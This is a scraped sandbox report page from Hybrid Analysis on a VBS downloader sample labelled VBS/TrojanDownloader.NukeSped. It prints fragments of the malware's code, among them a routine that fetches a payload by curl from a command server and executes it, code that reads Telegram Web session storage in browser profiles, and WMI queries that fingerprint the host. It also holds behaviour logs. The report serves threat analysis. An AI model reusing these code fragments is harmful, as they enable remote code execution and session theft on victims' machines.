21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 46:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T4d0,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious VBS/TrojanDownloader.NukeSped Sample 8889f1b67aea… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 8889f1b67aea…. Malware family: VBS/TrojanDownloader.NukeSped. Threat score 100/100. 2/26 AV engines flagged this file. 5 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/8889f1b67aea6896945506dae192326149f6c5db87e9b04fa08ac9a142a87775","keywords":["Malicious","VBS/TrojanDownloader.NukeSped","malware analysis","sandbox report","threat intelligence","8889f1b67aea6896945506dae192326149f6c5db87e9b04fa08ac9a142a87775"],"about":{"@type":"SoftwareApplication","name":"kim_jong_un_is_a_fat_ugly_pig.vbs","applicationCategory":["script","vbs"],"identifier":"8889f1b67aea6896945506dae192326149f6c5db87e9b04fa08ac9a142a87775","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"VBS/TrojanDownloader.NukeSped","antivirusDetections":{"malicious":2,"total":26},"behavioralIndicators":{"malicious":5,"suspicious":10},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T956,Observed string: "If m.Count > 0 Then uuidVal = m(0).SubMatches(0) Else uuidVal = ""If StrComp(execType, "In-Memory", 1) = 0 ThenDim ExecuteParamscontentVal = ExtractJsonStringValue(jsonStr, "content")If Len(contentVal) = 0 Then Exit SubExecuteParams = paramsValPostStatus baseUrl, uuidVal, "Downloaded"Execute contentValPostStatus baseUrl, uuidVal, "Executed"ElseIf StrComp(execType, "Disk", 1) = 0 ThenDim getUrl, tmpPath, fso, payloadFileName, curlCmd, curlRetSet fso = CreateObject("Scripting.FileSystemObject")Set shell = CreateObject("WScript.Shell")payloadFileName = fso.GetFileName(payloadVal)If Len(payloadFileName) = 0 Then payloadFileName = "payload"tmpPath = shell.ExpandEnvironmentStrings("%TEMP%") & "\" & payloadFileNamegetUrl = baseUrl & "/3?payload=" & ServerURLEncode(payloadVal)curlCmd = "curl -o """ & tmpPath & """ """ & getUrl & """"curlRet = shell.Run(curlCmd, 0, True)If curlRet <> 0 Then Exit SubIf Not fso.FileExists(tmpPath) Then Exit SubPostStatus baseU" (Indicator: ""curl") in Source: kim_jong_un_is_a_fat_ugly_pig.vbs Observed string: "If m.Count > 0 Then uuidVal = m(0).SubMatches(0) Else uuidVal = ""If StrComp(execType, "In-Memory", 1) = 0 ThenDim ExecuteParamscontentVal = ExtractJsonStringValue(jsonStr, "content")If Len(contentVal) = 0 Then Exit SubExecuteParams = paramsValPostStatus baseUrl, uuidVal, "Downloaded"Execute contentValPostStatus baseUrl, uuidVal, "Executed"ElseIf StrComp(execType, "Disk", 1) = 0 ThenDim getUrl, tmpPath, fso, payloadFileName, curlCmd, curlRetSet fso = CreateObject("Scripting.FileSystemObject")Set shell = CreateObject("WScript.Shell")payloadFileName = fso.GetFileName(payloadVal)If Len(payloadFileName) = 0 Then payloadFileName = "payload"tmpPath = shell.ExpandEnvironmentStrings("%TEMP%") & "\" & payloadFileNamegetUrl = baseUrl & "/3?payload=" & ServerURLEncode(payloadVal)curlCmd = "curl -o """ & tmpPath & """ """ & getUrl & """"curlRet = shell.Run(curlCmd, 0, True)If curlRet <> 0 Then Exit SubIf Not fso.FileExists(tmpPath) Then Exit SubPostStatus baseU" (Indicator: "curl -") in Source: kim_jong_un_is_a_fat_ugly_pig.vbs Observed string: "curlCmd = "curl -o """ & tmpPath & """ """ & getUrl & """"" (Indicator: ""curl") in Source: kim_jong_un_is_a_fat_ugly_pig.vbs Observed string: "curlCmd = "curl -o """ & tmpPath & """ """ & getUrl & """"" (Indicator: "curl -") in Source: kim_jong_un_is_a_fat_ugly_pig.vbs23:T9bf,file/memory contains long string with (Indicator: ""set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set ObjWMI = GetObject("winmgmts:\\" & fcom & "\root\CIMV2")" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set colItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem", , 48)" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set wdate = CreateObject("WbemScripting.SWbemDateTime")" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set csItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set tzItems = ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set cpuItems = ObjWMI.ExecQuery("SELECT * FROM Win32_Processor")" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & fcom & "\root\cimv2")" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set prclst = objWMIService.ExecQuery("Select * from Win32_Process")" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set extFolder = fso.GetFolder(profileFolder.Path & "\extensions")" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set fso = CreateObject("Scripting.FileSystemObject")" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set shell = CreateObject("WScript.Shell")" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set dict = CreateObject("Scripting.Dictionary")" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set hReq = CreateObject("WinHttp.WinHttpRequest.5.1")" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set re = CreateObject("VBScript.RegExp")" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set m = re.Execute(jsonStr)" (Indicator: "set "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs")24:T7d4,file/memory contains long string with (Indicator: "select * from "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set colItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem", , 48)" (Indicator: "select * from "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: "select * from "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set csItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: "select * from "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set tzItems = ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")" (Indicator: "select * from "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set cpuItems = ObjWMI.ExecQuery("SELECT * FROM Win32_Processor")" (Indicator: "select * from "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)" (Indicator: "select * from "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set prclst = objWMIService.ExecQuery("Select * from Win32_Process")" (Indicator: "select * from "; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "SELECT * FROM Win32_ComputerSystem" (Indicator: "select * from "; Source: "00000000-00004736-00002714-499021354") Found string "Select * from Win32_OperatingSystem" (Indicator: "select * from "; Source: "00000000-00004736-00002714-499068624") Found string "SELECT * FROM Win32_TimeZone" (Indicator: "select * from "; Source: "00000000-00004736-00002714-499412676") Found string "SELECT * FROM Win32_Processor" (Indicator: "select * from "; Source: "00000000-00004736-00002714-499468766") Found string "SELECT * FROM Win32_NetworkAdapterConfiguration" (Indicator: "select * from "; Source: "00000000-00004736-00002714-501708044") Found string "Select * from Win32_Process" (Indicator: "select * from "; Source: "00000000-00004736-00002714-501847794")25:T88d,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: "")26:T696,"esult = result & dict(key) & vbCrLfNextgetexts = resultEnd FunctionFunction ChromiumProfileHasTelegramWeb(fso, profilePath)ChromiumProfileHasTelegramWeb = FalseDim names, i, pnames = Array( _"https_web.telegram.org_0.indexeddb.leveldb", _"https_webk.telegram.org_0.indexeddb.leveldb", _"https_webz.telegram.org_0.indexeddb.leveldb" _)For i = 0 To UBound(names)p = profilePath & "\IndexedDB\" & names(i)If fso.FolderExists(p) ThenChromiumProfileHasTelegramWeb = TrueExit FunctionEnd IfNextEnd FunctionFunction FirefoxProfileHasTelegramWeb(fso, profilePath)FirefoxProfileHasTelegramWeb = FalseDim names, i, pnames = Array( _"https+++web.telegram.org", _"https+++webk.telegram.org", _"https+++webz.telegram.org" _)For i = 0 To UBound(names)p = profilePath & "\storage\default\" & names(i)If fso.FolderExists(p) ThenFirefoxProfileHasTelegramWeb = TrueExit FunctionEnd IfNextEnd FunctionFunction ScanChromiumBrowserTelegram(fso, basePath)" (Indicator: "telegram.org"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") ""https_web.telegram.org_0.indexeddb.leveldb", _" (Indicator: "telegram.org"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") ""https_webk.telegram.org_0.indexeddb.leveldb", _" (Indicator: "telegram.org"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") ""https_webz.telegram.org_0.indexeddb.leveldb" _" (Indicator: "telegram.org"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") ""https+++web.telegram.org", _" (Indicator: "telegram.org"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") ""https+++webk.telegram.org", _" (Indicator: "telegram.org"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") ""https+++webz.telegram.org" _" (Indicator: "telegram.org"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs")27:T1cb9,"WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter RtlRegisterFeatureConfigurationChangeNotification (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter RtlDisownModuleHeapAllocation (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter RtlQueryFeatureConfiguration (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter LogStagedFeatureUsage (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00004736) "WScript.exe" called "GetProcAddress" with a parameter NtQueryWnfStateData (UID: 00000000-00004736)28:T6a3,"WScript.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA" "WScript.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\BRAVESOFTWARE\BRAVE-BROWSER\USER DATA" "WScript.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\VIVALDI\USER DATA" "WScript.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\INDEXEDDB\HTTPS_WEB.TELEGRAM.ORG_0.INDEXEDDB.LEVELDB" "WScript.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\INDEXEDDB\HTTPS_WEBK.TELEGRAM.ORG_0.INDEXEDDB.LEVELDB" "WScript.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\INDEXEDDB\HTTPS_WEBZ.TELEGRAM.ORG_0.INDEXEDDB.LEVELDB" "WScript.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\HTTPS_WEB.TELEGRAM.ORG_0.INDEXEDDB.LEVELDB" "WScript.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\HTTPS_WEBK.TELEGRAM.ORG_0.INDEXEDDB.LEVELDB" "WScript.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\HTTPS_WEBZ.TELEGRAM.ORG_0.INDEXEDDB.LEVELDB" "WScript.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\storage\default\HTTPS+++WEB.TELEGRAM.ORG" "WScript.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\storage\default\HTTPS+++WEBK.TELEGRAM.ORG" "WScript.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\storage\default\HTTPS+++WEBZ.TELEGRAM.ORG"29:T751,"WScript.exe" called "GetVersionExA" with parameter 940000000a000000000000005d580000020000000000000000000000000000001800000000000000f15039b99af20000052903f7a611000006000000000000000000f389f67f0000a40221e2f87f0000060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f389 (UID: 00000000-00004736) "WScript.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000000000000000000020f8c632a4020000c0fb48c0f87f00000001000000000000b8fb48c0f87f0000000000000000000080cbbdebf87f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a48c0f87f00000000000000000000b8fb48c0f87f000000000000 (UID: 00000000-00004736) "WScript.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000863cc8bdf87f0000104cc8bdf87f000040b3cabdf87f0000104cc8bdf87f000040b3cabdf87f000020b3cabdf87f00009d3cc8bdf87f00006026cbbdf87f00006041de34a40200007041de34a4020000000090ebf87f00000100000000000000bddbbfebf87f0000000000000000000038b3cabdf87f000000000000 (UID: 00000000-00004736) "WScript.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000ba484ebaf87f000060554ebaf87f0000b06750baf87f000060554ebaf87f0000b06750baf87f0000906750baf87f0000d1484ebaf87f000000000000000000004461e3e9f87f0000a8e2e732a4020000000090ebf87f00000100000000000000bddbbfebf87f00000100000000000000743b4ebaf87f000000000000 (UID: 00000000-00004736) "WScript.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f00000000000000000000a0a5cd32a4020000183788d4f87f00000001000000000000103788d4f87f0000000000000000000080cbbdebf87f00000000000000000000000100000000000000000000f87f0000000000000000000001000000000000003f1187d4f87f00000000000000000000103788d4f87f00004d7611ba (UID: 00000000-00004736)2a:Tab2,"WScript.exe" monitors "HKCU_Classes" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\crypt32" (Filter: 268435460; Subtree: 0) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Control\NetworkProvider\HwOrder" (Filter: 4; Subtree: 0) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Control\NetworkProvider\ProviderOrder" (Filter: 4; Subtree: 0) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\Protocol_Catalog9" (Filter: 1; Subtree: 0) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\NameSpace_Catalog5" (Filter: 1; Subtree: 0) "WScript.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload" (Filter: 268435460; Subtree: 1) "WScript.exe" monitors "HKCU\Software\Microsoft\SystemCertificates\Root" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\FlightRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\TestSignRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKCU\Software\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKCU\Software\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKCU\Software\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKCU\Software\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKCU\Software\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1)2b:T5a9,"WScript.exe" called "WScript.Arguments" with result: "IDispatch" ... "WScript.exe" called "WScript("Arguments").Count" with result: "0" ... "WScript.exe" called "WbemScripting.SWbemDateTime.1.CreateObject" ... "WScript.exe" called "WbemScripting.SWbemDateTime.1.Value" ... "WScript.exe" called "WbemScripting.SWbemDateTime.1.GetVarDate" with result: "5/24/2023 7:19:08 AM" ... "WScript.exe" called "WbemScripting.SWbemDateTime.1.GetVarDate" with result: "7/6/2026 8:43:20 AM" ... "WScript.exe" called "WScript.ScriptFullName" with result: "C:\kim_jong_un_is_a_fat_ugly_pig.vbs" ... "WScript.exe" called "Scripting.Dictionary.CreateObject" ... "WScript.exe" called "Scripting.Dictionary.Exists" with result: "0" ... "WScript.exe" called "Scripting.Dictionary.Add" ... "WScript.exe" called "Scripting.Dictionary.Exists" with result: "-1" ... "WScript.exe" called "Scripting.Dictionary.Keys" with result: "Array of BSTR's" ... "WScript.exe" called "Scripting.Dictionary.Item" with result: "ghbmnnjooekpmoecnnnilnnbdlolhkhi" ... "WScript.exe" called "Scripting.Dictionary.Item" with result: "nmmhkkegccagdldgiimedpiccmgmieda" ... "WScript.exe" called "Scripting.Dictionary.Item" with result: "Temp" ... "WScript.exe" called "Scripting.Dictionary.Item" with result: "jmjflgjpcpepeafmmgdpfkogkghcpiha" ... "WScript.exe" called "WinHttp.WinHttpRequest.5.1.CreateObject" ... "WScript.exe" called "WinHttp.WinHttpRequest.5.1.Open" ... 2c:Te7a,"WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff8e9db0000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff8e9db0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff8e9db0000 "WScript.exe" loaded module "KERNEL32" at base 7ff8eb830000 "WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff8bdcc0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff8e70e0000 "WScript.exe" loaded module "RPCRT4.DLL" at base 7ff8ec530000 "WScript.exe" loaded module "KERNEL32.DLL" at base 7ff8eb830000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7ff8ba380000 "WScript.exe" 